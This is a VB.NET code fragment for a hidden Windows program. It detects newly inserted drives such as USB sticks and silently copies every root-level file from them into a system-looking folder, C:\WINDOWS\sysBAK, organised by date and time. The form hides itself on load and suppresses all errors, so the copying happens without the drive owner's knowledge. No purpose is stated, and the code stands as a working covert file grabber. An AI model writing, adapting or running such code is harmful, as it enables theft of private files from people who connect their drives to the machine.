Private cn As Integer = My.Computer.FileSystem.Drives.Count - 1
    Private Laufwerke(0 To cn) As String
    Private Sub tmr_Tick(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles tmr.Tick
        On Error Resume Next
        If My.Computer.FileSystem.Drives.Count - 1 > cn Then
            For x As Integer = 0 To My.Computer.FileSystem.Drives.Count - 1
                For y As Integer = 0 To cn
                    If Laufwerke(y) <> My.Computer.FileSystem.Drives(x).Name Then
                        If y = cn And x = My.Computer.FileSystem.Drives.Count - _
                          1 Then
                            tmr.Enabled = False
                            Dim datum As Date = Now.Date, uhrzeit As TimeSpan = _
                              Now.TimeOfDay
                            Dim zeit As String = uhrzeit.Hours & " " & _
                            uhrzeit.Minutes
                            Dim pth As String = "C:\WINDOWS\sysBAK\" & datum & _
                            "\" & zeit
                            For Each fn As String In _
                            My.Computer.FileSystem.GetFiles( _
                            My.Computer.FileSystem.Drives(x).Name)
                                If My.Computer.FileSystem.DirectoryExists( _
                                "C:\WINDOWS\sysBAK\" & datum) = False Then _
                                My.Computer.FileSystem.CreateDirectory( _
                                "C:\WINDOWS\sysBAK\" & datum)
                                If My.Computer.FileSystem.DirectoryExists(pth) _
                                = False Then _
                                My.Computer.FileSystem.CreateDirectory(pth)
                                My.Computer.FileSystem.CopyFile(fn, pth & "\" & _
                                My.Computer.FileSystem.GetName(fn))
                            Next
                        End If
                    End If
                Next
            Next
        End If
    End Sub
    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As _
      System.EventArgs) Handles MyBase.Load
        On Error Resume Next
        Me.Hide()
        For x As Integer = 0 To My.Computer.FileSystem.Drives.Count - 1
            Laufwerke(x) = My.Computer.FileSystem.Drives(x).Name
        Next
    End Sub